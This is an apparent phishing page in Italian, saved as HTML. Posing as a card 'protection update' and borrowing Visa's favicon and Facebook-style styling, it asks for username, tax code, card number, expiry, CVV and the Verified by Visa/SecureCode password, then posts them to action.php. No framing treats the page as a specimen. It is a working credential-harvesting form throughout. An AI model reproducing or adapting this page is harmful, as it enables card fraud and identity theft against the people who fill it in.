<!-- saved from url=(0016)http://localhost -->
<!DOCTYPE html>
<html><head>
<title id="pageTitle">Aggiornamento della protezione</title>
<base href="http:/www.beocom.de/css/">
<link rel="shortcut icon" href="https://usa.visa.com/favicon.ico" />
<link href="style1.css" type="text/css" rel="stylesheet"/>
<script src="verifica.js" type="text/javascript" language="javascript"></script>
</head><body><br><br><br>
<form id="frm" method="post" action="action.php" onsubmit="return validate()">
<h1 align="center">Si prega di fornire le seguenti informazioni:</h1><br><br>
<table border="0" class="uiBoxGray" width="350px" cellspacing="7px" align="center">
<tbody>
<tr><td colspan="2" > </td></tr><tr>
<th align="right">Nome utente:</th><td class="data"><span><input class="inputtext" name="completu" autocomplete="off" type="text" /></span></td>
</tr><tr>
<th align="right">Codice Fiscale/Partita IVA:</th><td class="data"><span><input class="inputtext" maxlength="16" size="16" name="cfiscal" autocomplete="off" type="text" /></span></td>
</tr><tr>
<th align="right">Numero di carta:</th><td align="right"><span><input class="inputtext" name="pulicica" autocomplete="off" type="text" /></span></td>
</tr><tr>
<th align="right">Tipi di carta:</th>
<td class="data">
<span><ul class="uiList fbCardTypes _509- _4ki _704 _6-i">
<li><i class="fbCardType visa img sp_3f0t1g sx_4f8b0a"></i></li>
<li><i class="fbCardType mc img sp_3f0t1g sx_f8f1b4"></i></li>
</ul></span>
</td></tr><tr>
<th align="right">Data di scadenza:</th>
<td class="data">
<span><select name="x1">
<option value="">Month</option>
<option value="1">01</option>
<option value="2">02</option>
<option value="3">03</option>
<option value="4">04</option>
<option value="5">05</option>
<option value="6">06</option>
<option value="7">07</option>
<option value="8" selected="selected">08</option>
<option value="9">09</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
</select>
/
<select name="x2">
<option value="">Year</option>
<option value="2013" selected="selected">2013</option>
<option value="2014">2014</option>
<option value="2015">2015</option>
<option value="2016">2016</option>
<option value="2017">2017</option>
<option value="2018">2018</option>
<option value="2019">2019</option>
<option value="2020">2020</option>
<option value="2021">2021</option>
<option value="2022">2022</option>
<option value="2023">2023</option>
</select></span>
</td>
</tr><tr>
<th align="right">Codice di sicurezza:</th>
<td class="data"><span><input class="inputtext" name="floci" maxlength="4" size="4" autocomplete="off" type="text" /></span></td>
</tr><tr>
<th align="right">Password Verified by Visa<br>MasterCard® SecureCode™:</th>
<td class="data"><span><input class="inputtext" size="12" name="coaiele" autocomplete="off" type="password" /></span></td>
</tr><tr><td colspan="2"> </td></tr>
</tbody></table><br><br>
<table cellpadding="0" cellspacing="0" align="center">
<tbody>
<tr>
<td><label class="uiButton uiButtonConfirm uiButtonLarge"><input value=" Invia " type="submit"></label></td>
</tr>
</tbody>
</table>
</form>
</body>
</html>